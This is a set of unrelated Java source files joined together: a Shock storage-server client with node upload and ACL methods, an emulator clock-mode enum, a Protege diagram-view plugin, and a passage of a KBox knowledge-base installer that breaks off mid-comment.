attributes must be serializable to * JSON. * @return a shock node object. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be created. * @throws JsonProcessingException if the <code>attributes</code> could * not be serialized to JSON. */ public ShockNode addNode(final Object attributes) throws IOException, ShockHttpException, JsonProcessingException { if (attributes == null) { throw new IllegalArgumentException("attributes may not be null"); } return _addNode(attributes, null, null, null); } /** * Creates a node on the shock server containing a file. * @param file the file data. * @param filename the name of the file. * @param format the format of the file, e.g. ASCII, UTF-8, JSON. Ignored * if null. * @return a shock node object. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be created. */ public ShockNode addNode(final InputStream file, final String filename, final String format) throws IOException, ShockHttpException { if (file == null) { throw new IllegalArgumentException("file may not be null"); } if (filename == null || filename.isEmpty()) { throw new IllegalArgumentException( "filename may not be null or empty"); } return _addNodeStreaming(null, file, filename, format); } /** * Creates a node on the shock server with user-specified attributes and * a file. * @param attributes the user-specified attributes. The attributes must be serializable to * JSON. * @param file the file data. * @param filename the name of the file. * @param format the format of the file, e.g. ASCII, UTF-8, JSON. Ignored * if null. * @return a shock node object. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be created. * @throws JsonProcessingException if the <code>attributes</code> could * not be serialized to JSON. */ public ShockNode addNode( final Object attributes, final InputStream file, final String filename, final String format) throws IOException, ShockHttpException, JsonProcessingException { if (attributes == null) { throw new IllegalArgumentException("attributes may not be null"); } if (file == null) { throw new IllegalArgumentException("file may not be null"); } if (filename == null || filename.isEmpty()) { throw new IllegalArgumentException( "filename may not be null or empty"); } return _addNodeStreaming(attributes, file, filename, format); } private ShockNode _addNode( final Object attributes, final byte[] file, final String filename, final String format) throws IOException, ShockHttpException, JsonProcessingException { final HttpPost htp = new HttpPost(nodeurl); if (attributes != null || file != null) { final MultipartEntityBuilder mpeb = MultipartEntityBuilder.create(); if (attributes != null) { final byte[] attribs = mapper.writeValueAsBytes(attributes); mpeb.addBinaryBody("attributes", attribs, ContentType.APPLICATION_JSON, ATTRIBFILE); } if (file != null) { mpeb.addBinaryBody("upload", file, ContentType.DEFAULT_BINARY, filename); } if (format != null) { mpeb.addTextBody("format", format); } htp.setEntity(mpeb.build()); } final ShockNode sn = (ShockNode) processRequest(htp, ShockNodeResponse.class); sn.addClient(this); return sn; } private ShockNode _addNodeStreaming( final Object attributes, final InputStream file, final String filename, final String format) throws IOException, ShockHttpException, JsonProcessingException { byte[] b = new byte[CHUNK_SIZE]; int read = read(file, b); if (read < CHUNK_SIZE) { return _addNode(attributes, Arrays.copyOf(b, read), filename, format); } int chunks = 1; ShockNode sn; { final HttpPost htp = new HttpPost(nodeurl); final MultipartEntityBuilder mpeb = MultipartEntityBuilder.create(); mpeb.addTextBody("parts", "unknown"); if (attributes != null) { final byte[] attribs = mapper.writeValueAsBytes(attributes); mpeb.addBinaryBody("attributes", attribs, ContentType.APPLICATION_JSON, ATTRIBFILE); } if (format != null && !format.isEmpty()) { mpeb.addTextBody("format", format); } htp.setEntity(mpeb.build()); sn = (ShockNode) processRequest(htp, ShockNodeResponse.class); } final URI targeturl = nodeurl.resolve(sn.getId().getId()); while (read > 0) { final HttpPut htp = new HttpPut(targeturl); if (read < CHUNK_SIZE) { b = Arrays.copyOf(b, read); } final MultipartEntityBuilder mpeb = MultipartEntityBuilder.create(); mpeb.addBinaryBody("" + chunks, b, ContentType.DEFAULT_BINARY, filename); htp.setEntity(mpeb.build()); processRequest(htp, ShockNodeResponse.class); b = new byte[CHUNK_SIZE]; // could just zero it read = read(file, b); chunks++; } { final HttpPut htp = new HttpPut(targeturl); final MultipartEntityBuilder mpeb = MultipartEntityBuilder.create(); mpeb.addTextBody("parts", "close"); mpeb.addTextBody("file_name", filename); htp.setEntity(mpeb.build()); sn = (ShockNode) processRequest(htp, ShockNodeResponse.class); } sn.addClient(this); return sn; } private int read(final InputStream file, final byte[] b) throws IOException { int pos = 0; while (pos < b.length) { final int read = file.read(b, pos, b.length - pos); if (read == -1) { break; } pos += read; } return pos; } /** Makes a copy of a shock node, including the indexes and attributes, owned by the user. * @param id the ID of the shock node to copy. * @param unlessAlreadyOwned if true and the shock node is already owned by the user, * don't make a copy. * @return the new shock node, or the node from the id if unlessAlreadyOwned is true and * the user already owns the node. * @throws ShockHttpException if a Shock exception occurs. * @throws IOException if an IO exception occurs. */ public ShockNode copyNode(final ShockNodeId id, final boolean unlessAlreadyOwned) throws ShockHttpException, IOException { final ShockNode source = getNode(id); /* So it's possible to construct a token where the name is not the correct name for * the token. In this case though, the user is just screwing themselves because at * this point all that'll happen is they'll make a copy when they didn't want to or * vice versa, since the line above already guarantees they can read the node. */ if (unlessAlreadyOwned && source.getACLs().getOwner().getUsername().equals(token.getUserName())) { return source; } final HttpPost htp = new HttpPost(nodeurl); final MultipartEntityBuilder mpeb = MultipartEntityBuilder.create(); mpeb.addTextBody("copy_data", id.getId()); mpeb.addTextBody("copy_indexes", "1"); htp.setEntity(mpeb.build()); ShockNode sn = (ShockNode) processRequest(htp, ShockNodeResponse.class); if (source.getAttributes() != null) { // as of shock 0.9.13 copy_attributes=1 will copy the attributes, but until then... final HttpPut put = new HttpPut(nodeurl.resolve(sn.getId().getId())); final MultipartEntityBuilder mpeb2 = MultipartEntityBuilder.create(); final byte[] attribs = mapper.writeValueAsBytes(source.getAttributes()); mpeb2.addBinaryBody("attributes", attribs, ContentType.APPLICATION_JSON, ATTRIBFILE); put.setEntity(mpeb2.build()); sn = (ShockNode) processRequest(put, ShockNodeResponse.class); } sn.addClient(this); return sn; } /** * Deletes a node on the shock server. * @param id the node to delete. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be deleted. */ public void deleteNode(final ShockNodeId id) throws IOException, ShockHttpException { final URI targeturl = nodeurl.resolve(id.getId()); final HttpDelete htd = new HttpDelete(targeturl); processRequest(htd, ShockNodeResponse.class); //triggers throwing errors } /** Add users to a node's ACLs. * @param id the node to update. * @param users the users to add to the ACL. * @param aclType the ACL to which the users should be added. * @return the new ACL * @throws ShockHttpException if a shock error occurs. * @throws IOException if an IO error occurs. */ public ShockACL addToNodeAcl( final ShockNodeId id, final List<String> users, final ShockACLType aclType) throws ShockHttpException, IOException { final URI targeturl = checkACLArgsAndGenURI(id, users, aclType); final HttpPut htp = new HttpPut(targeturl); return (ShockACL) processRequest(htp, ShockACLResponse.class); } /** Remove users to a node's ACLs. * @param id the node to update. * @param users the users to remove from the ACL. * @param aclType the ACL to which the users should be removed. * @return the new ACL. * @throws ShockHttpException if a shock error occurs. * @throws IOException if an IO error occurs. */ public ShockACL removeFromNodeAcl( final ShockNodeId id, final List<String> users, final ShockACLType aclType) throws ShockHttpException, IOException { final URI targeturl = checkACLArgsAndGenURI(id, users, aclType); final HttpDelete htd = new HttpDelete(targeturl); return (ShockACL) processRequest(htd, ShockACLResponse.class); } private URI checkACLArgsAndGenURI( final ShockNodeId id, final List<String> users, final ShockACLType aclType) { if (id == null) { throw new NullPointerException("id cannot be null"); } if (users == null || users.isEmpty()) { throw new IllegalArgumentException( "user list cannot be null or empty"); } if (aclType == null) { throw new NullPointerException("aclType cannot be null"); } for (final String user: users) { if (user == null || user.equals("")) { throw new IllegalArgumentException( "user cannot be null or the empty string"); } } final URI targeturl = nodeurl.resolve(id.getId() + aclType.getUrlFragmentForAcl() + "?users=" + StringUtils.join(users, ",") + ";verbosity=full"); return targeturl; } /** Set a node publicly readable. * @param id the ID of the node to set readable. * @param publicRead true to set publicly readable, false to set private. * @return the new ACLs. * @throws ShockHttpException if a shock error occurs. * @throws IOException if an IO error occurs. */ public ShockACL setPubliclyReadable( final ShockNodeId id, final boolean publicRead) throws ShockHttpException, IOException { if (id == null) { throw new NullPointerException("id"); } final URI targeturl = nodeurl.resolve(id.getId() + // parameterize this if we support public write & delete, // which seems like a bad idea to me "/acl/public_read?verbosity=full"); final HttpRequestBase req; if (publicRead) { req = new HttpPut(targeturl); } else { req = new HttpDelete(targeturl); } return (ShockACL) processRequest(req, ShockACLResponse.class); } /** * Retrieves the access control lists (ACLs) from the shock server for * a node. Note the object returned represents the shock node's state at * the time getACLs() was called and does not update further. * @param id the node to query. * @return the ACLs for the node. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node's access control lists could not * be retrieved. */ public ShockACL getACLs(final ShockNodeId id) throws IOException, ShockHttpException { final URI targeturl = nodeurl.resolve(id.getId() + "/acl/?verbosity=full"); final HttpGet htg = new HttpGet(targeturl); return (ShockACL) processRequest(htg, ShockACLResponse.class); } //for known good uris ONLY private URL uriToUrl(final URI uri) { try { return uri.toURL(); } catch (MalformedURLException mue) { throw new RuntimeException(mue); //something is seriously fuxxored } } }
package us.malfeasant.admiral64.timing; /** * Represents the different ways the RTC can be handled- note, there are actually two RTCs, one in each CIA chip. Maybe let * each have its mode set separately? * Fully simulated- clock runs in sync w/ Oscillator, if paused/stepped RTC slows as well- time can be set from within simulation * Partial realtime- time can be set in sim, but this is treated as offset- passage of time happens in realtime regardless of sim speed * Full realtime- no setting time from within sim, read of clock reflects host local time no matter what * (with the exception of latching) * @author Malfeasant */ public enum RTCMode { SIM, OFFSET, REALTIME; }
package uk.ac.brighton.vmg.cviz.ui; import icircles.concreteDiagram.ConcreteDiagram; import icircles.concreteDiagram.DiagramCreator; import icircles.gui.CirclesPanel; import icircles.input.AbstractDiagram; import icircles.input.Spider; import icircles.input.Zone; import icircles.util.CannotDrawException; import java.awt.BorderLayout; import java.awt.Color; import java.awt.Font; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; import javax.swing.JCheckBox; import javax.swing.JComboBox; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JProgressBar; import javax.swing.JTextField; import javax.swing.SwingUtilities; import org.apache.log4j.Logger; import org.protege.editor.owl.ui.view.cls.AbstractOWLClassViewComponent; import org.semanticweb.owlapi.model.OWLClass; import uk.ac.brighton.vmg.cviz.diagrambuilder.AbstractDiagramBuilder; public class ViewComponent extends AbstractOWLClassViewComponent { private static final long serialVersionUID = -4515710047558710080L; public static final int CVIZ_VERSION_MAJOR = 0; public static final int CVIZ_VERSION_MINOR = 1; public static final String CVIZ_VERSION_STATUS = "alpha"; private JPanel cdPanel; private JComboBox<String> depthPicker; private boolean showInd = false; private OWLClass theSelectedClass; private Thread buildRunner; private int DIAG_SIZE; private final double DIAG_SCALE = 0.9; private int hierarchyDepth = 2; private AbstractDiagramBuilder builder; private static final Logger log = Logger.getLogger(ViewComponent.class); private static final int IC_VERSION = 1; /** * Not used. */ @Override public void disposeView() { } /** * The Protege API callback when the view is first loaded. Sets up the GUI * but doesn't start the process of drawing anything. */ @Override public void initialiseClassView() throws Exception { getView().setSyncronizing(true); setLayout(new BorderLayout(6, 6)); JPanel topPanel = new JPanel(); JLabel depthLabel = new JLabel("Depth:"); String[] depths = { "1", "2", "3", "4", "5" }; depthPicker = new JComboBox<String>(depths); depthPicker.setSelectedIndex(1); depthPicker.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { hierarchyDepth = Integer.parseInt((String) depthPicker .getSelectedItem()); if (theSelectedClass != null) updateView(theSelectedClass); } }); topPanel.add(depthLabel); topPanel.add(depthPicker); JCheckBox showIndCB = new JCheckBox("Show individuals:"); showIndCB.setSelected(showInd); showIndCB.addItemListener(new ItemListener() { public void itemStateChanged(ItemEvent e) { showInd = (e.getStateChange() == ItemEvent.SELECTED); log.info("drawing with spiders: " + showInd); if (theSelectedClass != null) updateView(theSelectedClass); } }); topPanel.add(showIndCB); add(topPanel, BorderLayout.NORTH); cdPanel = new JPanel(); cdPanel.setBackground(Color.WHITE); add(cdPanel, BorderLayout.CENTER); log.debug("CD View Component initialized"); } /** * Callback when user selects a class in a hierarchy viewer pane. Constructs * the diagram with the selectedClass as its top-level element using an * AbstractDiagramBuilder. */ @Override protected OWLClass updateView(OWLClass selectedClass) { // DIAG_SIZE = Math.max(getHeight(), getWidth()) - 100; theSelectedClass = selectedClass; DIAG_SIZE = getHeight() - 50; if (selectedClass != null) { displayInfProgress(); if (builder != null) builder.notifyStop(); builder = new AbstractDiagramBuilder(this, selectedClass, getOWLModelManager(), hierarchyDepth, showInd); buildRunner = new Thread(builder); buildRunner.start(); } return selectedClass; } public void diagramReady(String[] cs, Zone[] zs, Zone[] szs, Spider[] sps) { Spider[] theSps = (showInd) ? sps : new Spider[] {}; debug("Curves", cs); debug("Zones", zs); debug("Shaded zones", szs); debug("Individuals", sps); drawCD(cs, zs, szs, theSps); } /** * Pass the generated abstract description to iCircles and display the * result in a JPanel. * * @param c * the abstract curves * @param z * the abstract zones * @param sz * the abstract shaded zones */ private void drawCD(final String[] c, final Zone[] z, final Zone[] sz, final Spider[] sps) { new Thread(new Runnable() { public void run() { AbstractDiagram ad = new AbstractDiagram(IC_VERSION, c, z, sz, sps); DiagramCreator dc = new DiagramCreator(ad.toAbstractDescription()); try { final ConcreteDiagram cd = dc.createDiagram(DIAG_SIZE); SwingUtilities.invokeLater(new Runnable() { public void run() { displayDiagram(cd); } }); } catch (final CannotDrawException e) { SwingUtilities.invokeLater(new Runnable() { public void run() { displayMessage(e.message); } }); } } }).start(); } /** * Callback for the runnable that creates the concrete diagram by calling * iCircles. * * @param cd */ private void displayDiagram(ConcreteDiagram cd) { Font font = new Font("Helvetica", Font.BOLD | Font.ITALIC, 16); String failureMessage = null; cd.setFont(font); CirclesPanel cp = new CirclesPanel("", failureMessage, cd, true); // use // colours cp.setScaleFactor(DIAG_SCALE); cdPanel.removeAll(); cdPanel.add(cp); cdPanel.validate(); } /** * Display an error message or other warning to the user in the main panel. * * @param message * the message to display */ public void displayMessage(String message) { JTextField tf = new JTextField(message); cdPanel.removeAll(); cdPanel.setBackground(Color.WHITE); cdPanel.add(tf, BorderLayout.CENTER); cdPanel.revalidate(); cdPanel.repaint(); } /** * Display a progress bar and message while the abstract diagram builder is doing its work. */ private void displayInfProgress() { cdPanel.removeAll(); JTextField tf = new JTextField("Building diagram..."); JProgressBar pBar = new JProgressBar(); pBar.setIndeterminate(true); cdPanel.setBackground(Color.WHITE); cdPanel.add(tf, BorderLayout.NORTH); cdPanel.add(pBar, BorderLayout.CENTER); cdPanel.revalidate(); cdPanel.repaint(); } private <T> void debug(String name, Object[] xs) { log.info(":::::::::: " + name + " ::::::::::"); for (Object x : xs) log.info(x); } }
package org.aksw.kbox.kibe; import java.io.File; import java.io.InputStream; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import org.aksw.kbox.InputStreamFactory; import org.aksw.kbox.apple.AppLocate; import org.aksw.kbox.apple.Install; import org.aksw.kbox.apple.Locate; import org.aksw.kbox.apple.ZipAppInstall; import org.aksw.kbox.kibe.exception.KBDereferencingException; import org.aksw.kbox.kibe.exception.KBNotResolvedException; import org.aksw.kbox.kibe.stream.DefaultInputStreamFactory; import org.aksw.kbox.kibe.tdb.TDB; import org.aksw.kbox.kibe.utils.ZIPUtil; import org.aksw.kbox.kns.CustomParamKNSServerList; import org.aksw.kbox.kns.KBResolver; import org.aksw.kbox.kns.KN; import org.aksw.kbox.kns.KNSServer; import org.aksw.kbox.kns.KNSServerList; import org.aksw.kbox.kns.KNSServerListVisitor; import org.aksw.kbox.kns.Resolver; import org.aksw.kbox.kns.ServerAddress; import org.apache.commons.lang.NullArgumentException; import org.askw.kbox.kns.exception.ResourceNotResolvedException; import com.hp.hpl.jena.query.ResultSet; import com.hp.hpl.jena.rdf.model.Model; public class KBox extends org.aksw.kbox.kns.KBox { public final static String DEFAULT_VERSION = "0"; public final static String DEFAULT_FORMAT = "kibe"; /** * Install the given knowledge base. * The installation try to resolve the knowledge base by the available KNS. * * @param knowledgeBase the {@link URL} of the knowledge base. * * @throws Exception if any error occurs during the operation. * @throws ResourceNotResolvedException if the given knowledge base can not be resolved. */ public static void install(URL knowledgeBase) throws Exception { install(knowledgeBase, new DefaultInputStreamFactory()); } /** * Install the given knowledge base. * The installation try to resolve the knowledge base by the available KNS. * * @param knowledgeBase the {@link URL} of the knowledge base. * @param isFactory the {@link InputStreamFactory} that will be used to open stream with the target knowledge base. * * @throws Exception if any error occurs during the operation. * @throws KBNotResolvedException if the given knowledge base can not be resolved. */ public static void install(URL knowledgeBase, InputStreamFactory isFactory) throws Exception { KBResolver resolver = new KBResolver(); install(knowledgeBase, resolver, isFactory); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param source the {@link URL} of the file that is going to be published at the * given {@link URL}. * @param dest the {@link URL} where the file is going to be published. * @param install a customized {@link Install} method for installation. * * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL source, URL dest, Install install) throws Exception { install(source, dest, DEFAULT_FORMAT, DEFAULT_VERSION, install); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param url the {@link URL} that will be resolved. * @param install a customized method for installation. * @param resolver the resolver of the given KNS and resource'S {@link URL}. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * * @throws ResourceNotResolvedException if the given resource can not be resolved. * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL knsServer, URL resourceURL, Resolver resolver, Install install, InputStreamFactory isFactory) throws ResourceNotResolvedException, Exception { KN resolvedKN = resolver.resolve(knsServer, resourceURL); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, isFactory); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param url the {@link URL} that will be resolved. * @param install an {@link Install} method to be used for installation. * @param resolver the resolver of the given KNS and resource's {@link URL}. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * * @throws NullArgumentException if any of the arguments is {@link null}. * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ private static void install(KN kn, URL resourceURL, Install install, InputStreamFactory isFactory) throws NullArgumentException, Exception { assertNotNull(new NullArgumentException("kn"), kn); assertNotNull(new NullArgumentException("resourceURL"), resourceURL); assertNotNull(new NullArgumentException("install"), install); assertNotNull(new NullArgumentException("isFactory"), isFactory); install(kn.getTargetURL(), resourceURL, getValue(kn.getFormat(), DEFAULT_FORMAT), getValue(kn.getVersion(), DEFAULT_VERSION), install, isFactory); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param knsServerURL a {@link KNSServer}'s {@link URL} that will be used to resolve the given resource's {@link URL}. * @param resourceURL the {@link URL} that will be resolved. * @param install an {@link Install} method to be used for installation. * @param resolver the {@link Resolver} of the given KNS and resource's {@link URL}. * * @throws KBNotResolvedException if the given KB can not be resolved. * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL knsServerURL, URL resourceURL, Resolver resolver, Install install) throws KBNotResolvedException, Exception { KN resolvedKN = resolver.resolve(knsServerURL, resourceURL); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, new DefaultInputStreamFactory()); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param source the {@link URL} of the file that is going to be published at the * given {@link URL}. * @param dest the {@link URL} where the file is going to be published. * @param install a customized {@link Install} method for installation. * * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL source, URL dest, String format, Install install) throws Exception { install.install(source, dest, format, DEFAULT_VERSION); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerList list of KNS servers * @param resourceURL the {@link URL} to be resolved by the KNS. * @param resolver the resolver to resolve the given resourceURL in the {@link DefaultKNSServerList}. * @param install a customized {@link Install} method for installation. * * @return the resolved {@link KN} or {@link null} if it is not resolved. * * @throws KBNotResolvedException if the given KB can not be resolved. * @throws Exception if any error occurs during the operation. */ public static void install(CustomParamKNSServerList knsServerList, URL resourceURL, Resolver resolver, Install install) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServerList, resourceURL, resolver); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, new DefaultInputStreamFactory()); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerList list of KNS servers * @param resourceURL the {@link URL} to be resolved by the KNS. * @param resolver the resolver to resolve the given resourceURL in the {@link DefaultKNSServerList}. * @param install a customized {@link Install} method for installation. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * * @return the resolved {@link KN} or {@link null} if it is not resolved. * * @throws KBNotResolvedException if the given KB can not be resolved. * @throws Exception if any error occurs during the operation. */ public static void install(KNSServerList knsServerList, URL resourceURL, Resolver resolver, Install install, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServerList, resourceURL, resolver); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, isFactory); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerList list of KNS servers * @param resourceURL the {@link URL} to be resolved by the KNS. * @param resolver the resolver to resolve the given resource's {@link URL} in the {@link DefaultKNSServerList}. * * @return the resolved {@link KN} or {@link null} if it is not resolved. * * @throws Exception if any error occurs during the operation. */ public static void install(KNSServerList knsServerList, URL resourceURL, String format, String version, Resolver resolver, Install install, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServerList, resourceURL, format, version, resolver); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, isFactory); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerList list of KNS servers * @param resourceURL the {@link URL} to be resolved by the KNS. * @param resolver the resolver to resolve the given resource's {@link URL} in the {@link DefaultKNSServerList}. * * @return the resolved {@link KN} or {@link null} if it is not resolved. * * @throws Exception if any error occurs during the operation. */ public static void install(URL resourceURL, Resolver resolver, Install install) throws Exception { DefaultKNSServerList kibeKNSServerList = new DefaultKNSServerList(); install(kibeKNSServerList, resourceURL, resolver, install); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param url the {@link URL} that will be resolved. * @param install a customized method for installation. * @param resolver the resolver to resolve the given the given resource's {@link URL}. * * @throws ResourceNotResolvedException if the given resource can not be resolved. * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL resourceURL, Resolver resolver, Install install, InputStreamFactory isFactory) throws ResourceNotResolvedException, Exception { DefaultKNSServerList kibeKNSServerList = new DefaultKNSServerList(); install(kibeKNSServerList, resourceURL, resolver, install, isFactory); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param url the {@link URL} that will be resolved. * @param install a customized method for installation. * @param format the format. * @param version the version. * * @throws ResourceNotResolvedException if the given resource can not be resolved. * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL knsServer, URL resourceURL, String format, String version, Resolver resolver, Install install) throws KBNotResolvedException, Exception { KN resolvedKN = resolver.resolve(knsServer, resourceURL, format, version); assertNotNull(new KBNotResolvedException(resourceURL.toString()), resolvedKN); install(resolvedKN, resourceURL, install, new DefaultInputStreamFactory()); } /** * Creates a mirror for the given file in a given {@link URL}. This function allows * KBox to serve files to applications, acting as proxy to the mirrored * file. The file that is published in a give {@link URL} will be located when the * client execute the function {@link KBox#getResource(URL)}. * * @param source the {@link URL} of the file that is going to be published at the * given {@link URL}. * @param dest the {@link URL} where the file is going to be published. * @param install a customized method for installation. * * @throws Exception if the resource does not exist or can not be copied or some * error occurs during the resource publication. */ public static void install(URL source, URL dest, Install install, InputStreamFactory isFactory) throws Exception { install(source, dest, DEFAULT_FORMAT, DEFAULT_VERSION, install, isFactory); } /** * Install a given KB resolved by a given {@link Resolver}. * * @param knowledgebase the KB Name that will be resolved and installed. * @param resolver the {@link Resolver} that will resolve the KB Name. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void install(URL knowledgebase, Resolver resolver) throws KBNotResolvedException, Exception { DefaultKNSServerList knsServerList = new DefaultKNSServerList(); ZipAppInstall install = new ZipAppInstall(); install(knsServerList, knowledgebase, resolver, install); } /** * Install a given KB resolved by a given {@link Resolver}. * This method uses the default <b>kibe</b> format implemented by <i>Kibe library</i> and its * default version <b>0<b>. * * @param knowledgebase the KB Name that will be resolved and installed. * @param resolver the {@link Resolver} that will resolve the KB Name. * @param isFactory the {@link InputStreamFactory}. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void install(URL knowledgebase, Resolver resolver, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { DefaultKNSServerList knsServerList = new DefaultKNSServerList(); ZipAppInstall intall = new ZipAppInstall(); install(knsServerList, knowledgebase, resolver, intall, isFactory); } /** * Install a given index file in the given knowledge base. * * @param target the name of the target knowledge base whereas the index will be installed. * @param source the {@link InputStream} index file to be installed. * @param format the KB format. * @param version the KB version. * * @throws Exception if any error occurs during the indexing process. */ public static void install(InputStream source, URL target, String format, String version) throws Exception { install(source, target, format, version, new ZipAppInstall()); } /** * Install a given index file in the given knowledge base. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * @param isFactory the {@link InputStreamFactory}. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target, InputStreamFactory isFactory) throws Exception { install(source, target, new ZipAppInstall(), isFactory); } /** * Install a given index file in the given knowledge base. * * @param knowledgebase the {@link URL} of the index file to be installed. * @param format the KB format. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void install(URL knowledgebase, String format, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KBResolver resolver = new KBResolver(); ZipAppInstall install = new ZipAppInstall(); install(knowledgebase, resolver, install, isFactory); } /** * Install a given index file in the given knowledge base. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * @param format the KB format. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target, String format, InputStreamFactory isFactory) throws Exception { install(source, target, format, DEFAULT_VERSION, isFactory); } /** * Install a given index file in the given knowledge base. * This method uses the default install method {@link ZipAppInstall}. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * @param format the KB format. * @param version the KB version. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's {@link URL}. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target, String format, String version, InputStreamFactory isFactory) throws Exception { install(source, target, format, version, new ZipAppInstall()); } /** * Install a given index file in the given knowledge base. * This method uses the default install implemented by * {@link ZipAppInstall} class, the default format <b>kibe</b> and * the default version <b>0</b>. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target) throws Exception { install(source, target, new ZipAppInstall()); } /** * Install a given index file in the given knowledge base. * This method uses the default version <b>0</b>. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * @param format the KB format. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target, String format) throws Exception { install(source, target, format, DEFAULT_VERSION); } /** * Install a given index file in the given knowledge base. * This method uses the default install method implemented by * {@link ZipAppInstall} class. * * @param source the {@link URL} of the index file to be installed. * @param target the {@link URL} of the knowledge base whereas the index will be installed. * @param format the KB format. * @param version the KB version. * * @throws Exception if any error occurs during the indexing process. */ public static void install(URL source, URL target, String format, String version) throws Exception { install(source, target, format, version, new ZipAppInstall()); } /** * Install a given knowledge base resolved by a given KNS service. * * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param knowledgebase the {@link URL} of the knowledge base that is going to be installed. * @param streamListener the listener to be invoked when the knowledge base get dereferenced. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installKBFromKNSServer(URL knsServer, URL knowledgebase) throws KBNotResolvedException, Exception { install(knsServer, knowledgebase, new DefaultInputStreamFactory()); } public static void install(URL kbNameURL, String format, String version, InputStreamFactory inputStreamFactory) throws Exception { KBResolver resolver = new KBResolver(); DefaultKNSServerList knsServerList = new DefaultKNSServerList(); install(knsServerList, kbNameURL, format, version, resolver, new ZipAppInstall(), inputStreamFactory); } /** * Install a given knowledge base resolved by a given KNS service. * This method uses the default 